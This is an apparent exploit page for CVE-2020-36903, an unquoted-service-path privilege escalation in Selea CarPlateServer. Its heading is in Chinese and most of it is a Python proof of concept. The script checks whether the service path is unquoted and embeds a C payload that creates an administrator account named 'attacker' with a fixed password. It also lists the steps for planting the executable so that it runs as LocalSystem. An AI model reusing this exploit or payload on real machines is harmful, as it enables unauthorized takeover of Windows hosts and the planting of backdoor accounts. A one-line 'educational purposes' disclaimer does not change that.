CVE-2020-36903 Selea CarPlateServer未引用服务路径权限提升漏洞

# CVE-2020-36903 PoC - Selea CarPlateServer Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Selea CarPlateServer import os import sys import subprocess def check_vulnerable_service(): """ Check if Selea CarPlateServer service is installed and has unquoted path """ try: # Query service information using WMIC or sc command cmd = 'wmic service where "name like \'CarPlateServer%\'" get pathname' result = subprocess.run(cmd, shell=True, capture_output=True, text=True) print(f"[+] Service Info: {result.stdout}") # Check if path contains spaces and is not quoted path = result.stdout.strip() if ' ' in path and not (path.startswith('"') and path.endswith('"')): print("[+] Service is VULNERABLE - Path contains spaces without quotes") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """ Create a malicious executable to be placed in the unquoted path This creates a reverse shell payload """ # Payload: Create a simple executable that adds a new admin user # In real attack, this would be a more sophisticated payload malicious_code = ''' #include <windows.h> #include <stdlib.h> int main() { // Add new administrator user (for demonstration) system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Spawn reverse shell or execute other malicious code WinExec("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt", SW_HIDE); return 0; } ''' print("[+] Malicious executable template created") print("[+] In real attack, compile and place in unquoted path directory") return True def exploit(): """ Main exploitation function """ print("=" * 60) print("CVE-2020-36903 - Selea CarPlateServer Unquoted Service Path") print("=" * 60) # Step 1: Check if vulnerable if not check_vulnerable_service(): print("[-] Service not found or not vulnerable") return False # Step 2: Identify exploitable path components print("\n[+] Identifying exploitable path components...") print("[+] Example: If path is C:\\\\Program Files\\\\Selea\\\\CarPlateServer.exe") print("[+] Attacker can place executable at: C:\\\\Program.exe") # Step 3: Create malicious executable create_malicious_executable() print("\n[!] IMPORTANT: This is for educational purposes only") print("[+] In real attack scenario:") print(" 1. Create malicious executable") print(" 2. Place it in the unquoted path directory") print(" 3. Wait for service restart or system reboot") print(" 4. Malicious code executes with LocalSystem privileges") return True if __name__ == "__main__": exploit()